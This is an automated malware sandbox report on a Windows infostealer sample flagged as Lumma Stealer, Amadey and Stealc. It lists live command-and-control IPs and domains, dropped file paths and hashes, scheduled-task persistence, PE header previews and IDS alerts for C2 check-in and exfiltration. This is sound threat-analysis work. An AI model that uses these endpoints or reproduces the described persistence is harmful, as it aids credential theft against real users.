https://mindhandru.buzz/G	ZBbOXn0a3R.exe, 00000001.00000003.2729588387.0000000000EB7000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
185.215.113.43	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
172.67.165.185	mindhandru.buzz	United States	13335	CLOUDFLARENETUS	false
185.215.113.206	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
185.215.113.16	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	false

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1580882
Start date and time:	2024-12-26 12:50:11 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 9m 4s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	11
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	ZBbOXn0a3R.exe renamed because original name is a hash value
Original Sample Name:	f0fba5bd559287917d087ad594193af4.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@9/4@1/4
EGA Information:	Successful, ratio: 60%
HCA Information:	Failed
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe
Excluded IPs from analysis (whitelisted): 13.107.246.63, 52.149.20.212
Excluded domains from analysis (whitelisted): client.wns.windows.com, ocsp.digicert.com, otelrules.azureedge.net, slscr.update.microsoft.com, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Execution Graph export aborted for target VJV6IQUTCE3IBMH3UJROT.exe, PID 6556 because there are no executed function
Execution Graph export aborted for target ZBbOXn0a3R.exe, PID 3224 because there are no executed function
Report creation exceeded maximum time and may have missing disassembly code information.
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: ZBbOXn0a3R.exe

Simulations

Behavior and APIs

Time	Type	Description
06:51:33	API Interceptor	1057173x Sleep call for process: ZBbOXn0a3R.exe modified
06:53:01	API Interceptor	61x Sleep call for process: skotes.exe modified
12:52:34	Task Scheduler	Run new task: skotes path: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
185.215.113.43	0Pm0sadcCP.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	iUKUR1nUyD.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	fkawMJ7FH8.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, RedLine, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	uLkHEqZ3u3.exe	Get hash	malicious	LummaC, Amadey, Babadeda, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Xmrig	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Xmrig	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer, Vidar, Xmrig	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer, Vidar, Xmrig	Browse	185.215.113.43/Zu7JuNko/index.php
172.67.165.185	P0SJULJxI0.exe	Get hash	malicious	LummaC	Browse
	r06aMlvVyM.exe	Get hash	malicious	LummaC	Browse
	i8Vwc7iOaG.exe	Get hash	malicious	LummaC, Amadey, AsyncRAT, LummaC Stealer, Stealc, StormKitty, Vidar	Browse
	XM6cn2uNux.exe	Get hash	malicious	LummaC	Browse
	rwFNJ4pHWG.exe	Get hash	malicious	LummaC	Browse
	dEugughckk.exe	Get hash	malicious	LummaC	Browse
	Solara-v3.0.exe	Get hash	malicious	LummaC	Browse
	https://click.jipolismall.de/i86/	Get hash	malicious	Unknown	Browse
	https://ser.optimalesi.de/i87/	Get hash	malicious	Unknown	Browse
	https://ser.optimalesi.de/i68	Get hash	malicious	Unknown	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
mindhandru.buzz	P0SJULJxI0.exe	Get hash	malicious	LummaC	Browse	172.67.165.185
	b0ho5YYSdo.exe	Get hash	malicious	LummaC	Browse	104.21.11.101
	r06aMlvVyM.exe	Get hash	malicious	LummaC	Browse	172.67.165.185
	XM6cn2uNux.exe	Get hash	malicious	LummaC	Browse	172.67.165.185
	ZX2M0AXZ56.exe	Get hash	malicious	LummaC	Browse	104.21.11.101
	0Pm0sadcCP.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	104.21.11.101
	TTsfmr1RWm.exe	Get hash	malicious	LummaC	Browse	104.21.11.101
	COBYmpzi7q.exe	Get hash	malicious	LummaC	Browse	104.21.11.101
	rwFNJ4pHWG.exe	Get hash	malicious	LummaC	Browse	172.67.165.185
	lBsKTx65QC.exe	Get hash	malicious	LummaC	Browse	104.21.11.101

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CLOUDFLARENETUS	4KDKJjRzm8.exe	Get hash	malicious	LummaC	Browse	172.67.157.254
	P0SJULJxI0.exe	Get hash	malicious	LummaC	Browse	172.67.165.185
	b0ho5YYSdo.exe	Get hash	malicious	LummaC	Browse	104.21.66.113
	C8QT9HkXEb.exe	Get hash	malicious	LummaC	Browse	104.21.66.86
	r06aMlvVyM.exe	Get hash	malicious	LummaC	Browse	172.67.165.185
	i8Vwc7iOaG.exe	Get hash	malicious	LummaC, Amadey, AsyncRAT, LummaC Stealer, Stealc, StormKitty, Vidar	Browse	172.67.150.49
	XM6cn2uNux.exe	Get hash	malicious	LummaC	Browse	172.67.165.185
	0hRSICdcGg.exe	Get hash	malicious	LummaC	Browse	104.21.66.86
	ZX2M0AXZ56.exe	Get hash	malicious	LummaC	Browse	104.21.11.101
	6GNqkkKY0j.exe	Get hash	malicious	LummaC	Browse	172.67.157.254
WHOLESALECONNECTIONSNL	9InQHaM8hT.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	i8Vwc7iOaG.exe	Get hash	malicious	LummaC, Amadey, AsyncRAT, LummaC Stealer, Stealc, StormKitty, Vidar	Browse	185.215.113.206
	0Pm0sadcCP.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	185.215.113.16
	TTsfmr1RWm.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
	COBYmpzi7q.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
	rwFNJ4pHWG.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
	lBsKTx65QC.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
	iUKUR1nUyD.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.206
	cMTqzvmx9u.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, RedLine	Browse	185.215.113.206
	O5Vg1CJsxN.exe	Get hash	malicious	LummaC, Stealc	Browse	185.215.113.16
WHOLESALECONNECTIONSNL	9InQHaM8hT.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	i8Vwc7iOaG.exe	Get hash	malicious	LummaC, Amadey, AsyncRAT, LummaC Stealer, Stealc, StormKitty, Vidar	Browse	185.215.113.206
	0Pm0sadcCP.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	185.215.113.16
	TTsfmr1RWm.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
	COBYmpzi7q.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
	rwFNJ4pHWG.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
	lBsKTx65QC.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
	iUKUR1nUyD.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.206
	cMTqzvmx9u.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, RedLine	Browse	185.215.113.206
	O5Vg1CJsxN.exe	Get hash	malicious	LummaC, Stealc	Browse	185.215.113.16
WHOLESALECONNECTIONSNL	9InQHaM8hT.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	i8Vwc7iOaG.exe	Get hash	malicious	LummaC, Amadey, AsyncRAT, LummaC Stealer, Stealc, StormKitty, Vidar	Browse	185.215.113.206
	0Pm0sadcCP.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	185.215.113.16
	TTsfmr1RWm.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
	COBYmpzi7q.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
	rwFNJ4pHWG.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
	lBsKTx65QC.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
	iUKUR1nUyD.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.206
	cMTqzvmx9u.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, RedLine	Browse	185.215.113.206
	O5Vg1CJsxN.exe	Get hash	malicious	LummaC, Stealc	Browse	185.215.113.16

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
a0e9f5d64349fb13191bc781f81f42e1	4KDKJjRzm8.exe	Get hash	malicious	LummaC	Browse	172.67.165.185
	Zun6NRK3q3.exe	Get hash	malicious	LummaC	Browse	172.67.165.185
	P0SJULJxI0.exe	Get hash	malicious	LummaC	Browse	172.67.165.185
	b0ho5YYSdo.exe	Get hash	malicious	LummaC	Browse	172.67.165.185
	C8QT9HkXEb.exe	Get hash	malicious	LummaC	Browse	172.67.165.185
	r06aMlvVyM.exe	Get hash	malicious	LummaC	Browse	172.67.165.185
	XM6cn2uNux.exe	Get hash	malicious	LummaC	Browse	172.67.165.185
	0hRSICdcGg.exe	Get hash	malicious	LummaC	Browse	172.67.165.185
	ZX2M0AXZ56.exe	Get hash	malicious	LummaC	Browse	172.67.165.185
	6GNqkkKY0j.exe	Get hash	malicious	LummaC	Browse	172.67.165.185

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\Users\user\AppData\Local\Temp\VJV6IQUTCE3IBMH3UJROT.exe	i8Vwc7iOaG.exe	Get hash	malicious	LummaC, Amadey, AsyncRAT, LummaC Stealer, Stealc, StormKitty, Vidar	Browse
C:\Users\user\AppData\Local\Temp\VJV6IQUTCE3IBMH3UJROT.exe	0Pm0sadcCP.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse
C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	i8Vwc7iOaG.exe	Get hash	malicious	LummaC, Amadey, AsyncRAT, LummaC Stealer, Stealc, StormKitty, Vidar	Browse
C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	0Pm0sadcCP.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse
C:\Users\user\AppData\Local\Temp\QA4B92LG0Q3PL6TE6NK36C44P92RH.exe	i8Vwc7iOaG.exe	Get hash	malicious	LummaC, Amadey, AsyncRAT, LummaC Stealer, Stealc, StormKitty, Vidar	Browse
	0Pm0sadcCP.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse

Created / dropped Files

C:\Users\user\AppData\Local\Temp\QA4B92LG0Q3PL6TE6NK36C44P92RH.exe

Download File

Process:	C:\Users\user\Desktop\ZBbOXn0a3R.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	3243008
Entropy (8bit):	6.650093644272246
Encrypted:	false
SSDEEP:	49152:ihw05uwGDAu9kS8AmainjRha/nxaIYd1s6l8ua3yflGAM:ovu9kS8AmainjLgn4LM6l8t3QLM
MD5:	D297F9F22080C6F66B4E9C9156A6FF86
SHA1:	BEF0F2E329D9DB6BAFE18B63482545B79B3D3C47
SHA-256:	D2A41394DA3C958EEECD0C43A72E5C401FD5209E462B0035BD1BA5DD9B4A6B46
SHA-512:	4FC5D9229C3174FB76947190458D56FF76133F286295AB4CE439E64DCC5DB5D0289C734EB4C7EE49DB7636CB2E9B22649009C7B7F920806D327710BF2618BB94
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Joe Sandbox View:	Filename: i8Vwc7iOaG.exe, Detection: malicious, Browse Filename: 0Pm0sadcCP.exe, Detection: malicious, Browse
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C.........................PE..L....V.f..............................1...........@...........................1.......1...@.................................W...k...........................Pl1..............................l1..................................................... . ............................@....rsrc...............................@....idata ............................@...bwzzahtg..........................@...rhjmaeag.....p1......V1.............@....taggant.0....1.."...Z1.............@...........................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\VJV6IQUTCE3IBMH3UJROT.exe

Download File

Process:	C:\Users\user\Desktop\ZBbOXn0a3R.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	5169664
Entropy (8bit):	5.544955031845111
Encrypted:	false
SSDEEP:	24576:hcdSpdXoWs2ps+xunxcADxJN26yU5fd7Kp3fL1AbtY1W2Pb1eDMcPOwEmyrbvpyL:aWRs+hADNj7KD1V+5WFEfxVzT1wG3
MD5:	97B80E7A522A3D40515E954A1FB4B428
SHA1:	A08336FCD36B3FEC4EFD009375C57F4E7FA452E7
SHA-256:	594242F39E0A43970C2C6B459BAADE07C3CDC8DF4DCADF89AD6166DC12D5F16C
SHA-512:	3C58D0092977242A386107E0D74E376DE0131523B139E09BA93D5604637AF22017C0EC2359C42D1837F775137432EFEBD898102CE3DC22E66EDB45A5F527A204
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Joe Sandbox View:	Filename: i8Vwc7iOaG.exe, Detection: malicious, Browse Filename: 0Pm0sadcCP.exe, Detection: malicious, Browse
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$....... ...d..d..d....s.\|....F.i....r.^..m.[.g..m.K.b....g..d.......w.w....E.e..Richd..........PE..L....dTg.....................(........N...........@.......................... O......(O...@.................................M.$.a.....$.......................$..................................................................................... . ..$.......$.................@....rsrc.........$.......$.............@....idata ......$.......$.............@...hsfspruu. ...$......$.............@...ilcadzlg......N.......N.............@....taggant.0....N.."....N.............@...........................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\QA4B92LG0Q3PL6TE6NK36C44P92RH.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	3243008
Entropy (8bit):	6.650093644272246
Encrypted:	false
SSDEEP:	49152:ihw05uwGDAu9kS8AmainjRha/nxaIYd1s6l8ua3yflGAM:ovu9kS8AmainjLgn4LM6l8t3QLM
MD5:	D297F9F22080C6F66B4E9C9156A6FF86
SHA1:	BEF0F2E329D9DB6BAFE18B63482545B79B3D3C47
SHA-256:	D2A41394DA3C958EEECD0C43A72E5C401FD5209E462B0035BD1BA5DD9B4A6B46
SHA-512:	4FC5D9229C3174FB76947190458D56FF76133F286295AB4CE439E64DCC5DB5D0289C734EB4C7EE49DB7636CB2E9B22649009C7B7F920806D327710BF2618BB94
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Joe Sandbox View:	Filename: i8Vwc7iOaG.exe, Detection: malicious, Browse Filename: 0Pm0sadcCP.exe, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C.........................PE..L....V.f..............................1...........@...........................1.......1...@.................................W...k...........................Pl1..............................l1..................................................... . ............................@....rsrc...............................@....idata ............................@...bwzzahtg..........................@...rhjmaeag.....p1......V1.............@....taggant.0....1.."...Z1.............@...........................................................................................................................................................................................................................................................

C:\Windows\Tasks\skotes.job

Download File

Process:	C:\Users\user\AppData\Local\Temp\QA4B92LG0Q3PL6TE6NK36C44P92RH.exe
File Type:	data
Category:	dropped
Size (bytes):	302
Entropy (8bit):	3.422981892786973
Encrypted:	false
SSDEEP:	6:xHElJVXUhXUEZ+lX1CGdKUe6tE9+AQy0lsut0:xkPR4Q1CGAFD9+nVVt0
MD5:	8B00AFC9919726651983D4FEF2D0FAEA
SHA1:	89D58900DE86964F09BD5CDEFA7BA53FB203B55B
SHA-256:	8E1A3C44F1785481F2BC96A68014DD163800CBC3DC66FECF58C376E6AFEB244B
SHA-512:	3564E7FFA23F4E796A030CD73BDD90CA5ABA0C9D9A257D875FE9D40E12E92D08F12774CB3267C1F3C2122F8B64CA0BC52039F3DFC375FCC9DC9BEA0DF3323400
Malicious:	false
Preview:	.....W2K..(@.i@gZk..F.......<... .....s.......... ....................;.C.:.\.U.s.e.r.s.\.e.n.g.i.n.e.e.r.\.A.p.p.D.a.t.a.\.L.o.c.a.l.\.T.e.m.p.\.a.b.c.3.b.c.1.9.8.5.\.s.k.o.t.e.s...e.x.e.........E.N.G.I.N.E.E.R.-.P.C.\.e.n.g.i.n.e.e.r...................0.................5.@3P.........................

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.948636726519622
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	ZBbOXn0a3R.exe
File size:	1'889'792 bytes
MD5:	f0fba5bd559287917d087ad594193af4
SHA1:	1ddfe7202341a04e9bba18c6f0885f802a62dc3c
SHA256:	0d88b7cdf5b4945cac5ff5bcf4b7ac1b8d64afcc48c8ed5b65d0e82e0f9e35c6
SHA512:	5178d855bd8b42a52beddfe9dcacf51f57534cdc2294ff9b6fb0363b07d085b3bfe281aa7317dfabc5819be96f10decdd65364cef603b1a8810dd5aaeff95832
SSDEEP:	49152:ekLcnFMUDEztlJDFSZ4gesulXS7Qx48zJdrhymKJwZ/i:0MUutltFMSlXS718VdtO6Z/i
TLSH:	0C953323AE01F1B4E42865F4D7374B8B6A788B97C7DA0EBD57437CFBA8935401B86502
File Content Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....Yig............................. K...........@..........................PK......(....@.................................Y@..m..

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0x8b2000
Entrypoint Section:	.taggant
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x67695986 [Mon Dec 23 12:37:26 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	2eabe9054cad5152567f0699947a2c5b

Entrypoint Preview

Instruction
jmp 00007F4B7CB7CFAAh
lfs ebx, dword ptr [eax+eax]
add byte ptr [eax], al
add byte ptr [eax], al
jmp 00007F4B7CB7EFA5h
add byte ptr [0000000Ah], al
add byte ptr [eax], al
add byte ptr [eax], dl
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [edx+ecx], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add eax, 0400000Ah
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [edi], al
add byte ptr [eax], 00000000h
add byte ptr [eax], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add al, 0Ah
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x54059	0x6d	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x53000	0x1ac	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x541f8	0x8	.idata
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x52000	0x26400	4afde02262d19709cbad613c2974bca2	False	0.9995851205065359	data	7.983682384890857	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x53000	0x1ac	0x200	c4249243ceaeb236e3ce8ce2ab2c9a69	False	0.5390625	data	5.249019796122045	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x54000	0x1000	0x200	39a711a7d804ccbc2a14eea65cf3c27e	False	0.154296875	data	1.0789976601211375	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
	0x55000	0x2b8000	0x200	d780910e03c25502f6a3ac4f53868596	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
vpilhgjf	0x30d000	0x1a4000	0x1a3600	3af79ef7349963d78fa4f3c30cf486e7	False	0.9947862332339792	data	7.953920714760564	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
omvzvpmk	0x4b1000	0x1000	0x400	a175b7c6bbb7df73a8d832e18902285c	False	0.822265625	data	6.293532264233602	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.taggant	0x4b2000	0x3000	0x2200	6d32a5ecf9f59b3e3afc4d5df69d9f17	False	0.07502297794117647	DOS executable (COM)	0.7385759664462652	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_MANIFEST	0x53058	0x152	ASCII text, with CRLF line terminators			0.6479289940828402

Imports

DLL	Import
kernel32.dll	lstrcpy

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-12-26T12:50:56.937913+0100	2856122	ETPRO MALWARE Amadey CnC Response M1	1	185.215.113.43	80	192.168.2.6	49961	TCP
2024-12-26T12:51:07.827718+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	49708	172.67.165.185	443	TCP
2024-12-26T12:51:36.292804+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.6	49708	172.67.165.185	443	TCP
2024-12-26T12:51:36.292804+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.6	49708	172.67.165.185	443	TCP
2024-12-26T12:51:37.611131+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	49763	172.67.165.185	443	TCP
2024-12-26T12:51:38.405455+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.6	49763	172.67.165.185	443	TCP
2024-12-26T12:51:38.405455+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.6	49763	172.67.165.185	443	TCP
2024-12-26T12:51:40.179888+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	49769	172.67.165.185	443	TCP
2024-12-26T12:51:55.356882+0100	2048094	ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration	1	192.168.2.6	49769	172.67.165.185	443	TCP
2024-12-26T12:51:56.960464+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	49806	172.67.165.185	443	TCP
2024-12-26T12:51:59.447437+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	49813	172.67.165.185	443	TCP
2024-12-26T12:52:02.466464+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	49824	172.67.165.185	443	TCP
2024-12-26T12:52:05.158248+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	49830	172.67.165.185	443	TCP
2024-12-26T12:52:07.723846+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	49836	172.67.165.185	443	TCP
2024-12-26T12:52:08.484894+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.6	49836	172.67.165.185	443	TCP
2024-12-26T12:52:26.232872+0100	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.6	49873	185.215.113.206	80	TCP
2024-12-26T12:53:07.053851+0100	2856147	ETPRO MALWARE Amadey CnC Activity M3	1	192.168.2.6	49953	185.215.113.43	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 26, 2024 12:51:06.513518095 CET	49708	443	192.168.2.6	172.67.165.185
Dec 26, 2024 12:51:06.513557911 CET	443	49708	172.67.165.185	192.168.2.6
Dec 26, 2024 12:51:06.513647079 CET	49708	443	192.168.2.6	172.67.165.185
Dec 26, 2024 12:51:06.516613960 CET	49708	443	192.168.2.6	172.67.165.185
